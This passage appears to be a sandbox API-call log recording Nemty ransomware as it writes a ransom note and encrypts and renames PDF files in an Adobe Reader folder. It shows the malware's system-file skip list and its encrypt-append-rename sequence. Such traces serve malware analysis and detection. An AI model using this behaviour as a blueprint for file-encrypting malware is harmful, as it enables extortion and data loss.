0x6340048 [0172.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.143] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.143] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.143] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.144] CloseHandle (hObject=0x254) returned 1 [0172.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.144] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a3e4870, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a3e4870, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.144] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.144] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a3e4870, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a3e4870, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.144] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.144] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.144] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6133, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0172.145] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0172.145] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0172.145] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0172.145] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0172.145] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0172.145] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0172.145] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0172.145] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0172.145] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0172.145] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0172.145] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0172.145] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0172.145] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0172.145] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0172.145] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0172.145] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0172.145] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0172.145] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0172.145] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0172.145] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0172.145] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0172.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0172.146] Sleep (dwMilliseconds=0x5) [0172.159] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a430b30, dwHighDateTime=0x1d561e8)) [0172.160] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a430b30, dwHighDateTime=0x1d561e8)) [0172.160] GetLastError () returned 0xb7 [0172.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.160] GetLastError () returned 0xb7 [0172.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.160] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.160] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.160] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0172.160] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="SnZQy1j6OpohOwx7wkd3JYHgWz9K1L1tXCy/5JhLZE+iy3d5ieWSn2PRAMyrSOMM\r\nJAeBGVqNhwtOLqrAYeE73okA4WUxglXpeioVVEgVhehrXofmitfpKY3gQ9wv9g7l\r\nNa2pfyhmLbiEMBkoTp+VaM6FJQRz/BNF1PmC04C3tAS2g0TXIX/Am+t4O05h0F0g\r\nxnPFtoLGZH52F6e4amnpA1mE5ONZvQcNax5ZbSGcJXJzBPLmnFycg8xjPV2sQZeR\r\nChR6nQ7cKWRqO/9R2me4OcXGvlM9V75UkXi+Xf6oBLbEycgQP4BvTNRZAHAk+43s\r\nCCpbGPTGjrZ5J1YiWow2BA==\r\n", pcchString=0x653e5dc) returned 1 [0172.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0172.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.160] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.160] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=24883) returned 1 [0172.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6130) returned 0x6352c48 [0172.161] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.161] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6130, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6130, lpOverlapped=0x0) returned 1 [0172.210] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.211] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6130, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6130, lpOverlapped=0x0) returned 1 [0172.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.211] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=24883, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6133 [0172.211] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.211] CloseHandle (hObject=0x3b0) returned 1 [0172.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0172.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0172.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0172.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0172.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.211] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0172.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0172.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0172.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.216] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5aac, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0172.216] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0172.216] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0172.216] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0172.216] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0172.216] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0172.216] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0172.216] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0172.216] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0172.216] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0172.216] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0172.216] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0172.216] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0172.217] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0172.217] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0172.217] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0172.217] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0172.217] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0172.217] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0172.217] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0172.217] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0172.217] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0172.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0172.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.217] Sleep (dwMilliseconds=0x5) [0172.222] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a4c90b0, dwHighDateTime=0x1d561e8)) [0172.222] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a4c90b0, dwHighDateTime=0x1d561e8)) [0172.222] GetLastError () returned 0x0 [0172.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.222] GetLastError () returned 0x0 [0172.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.222] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.222] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.223] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0172.223] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="6gKrimAtLGJh0pEymydAVXx0dU3jkk5Dc7Yu/qE5fBlZNel5Ufx97CsJN8bTOGr/\r\n8pbxmtoriyv0oIYISgWIze5bWr7+7MYpqPn0IOiYVCy/Tqo84YBkC+EKLOFJ88JS\r\nTN46B2Q/mhVkrEUeXAxOuOdpA7zyymN56oNcQ38jow1xzTUPmvCuysQeuhXpTs91\r\nvX5z/MKqh+6M+191Lx/yJV8Qcl6/kdwczUeFXulc/eMvoLibhLrOJkypx0qqKBMm\r\nbihSx3hbVma/uWhcnwhcrZizA5y+pa8WMu01Mj1mGXok+2+6jYo1EpW3KXc+8jjv\r\nTU2BObZvlsUezojAKKXxcg==\r\n", pcchString=0x653e5dc) returned 1 [0172.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0172.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.223] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.223] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=23212) returned 1 [0172.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5aa0) returned 0x6352c48 [0172.223] 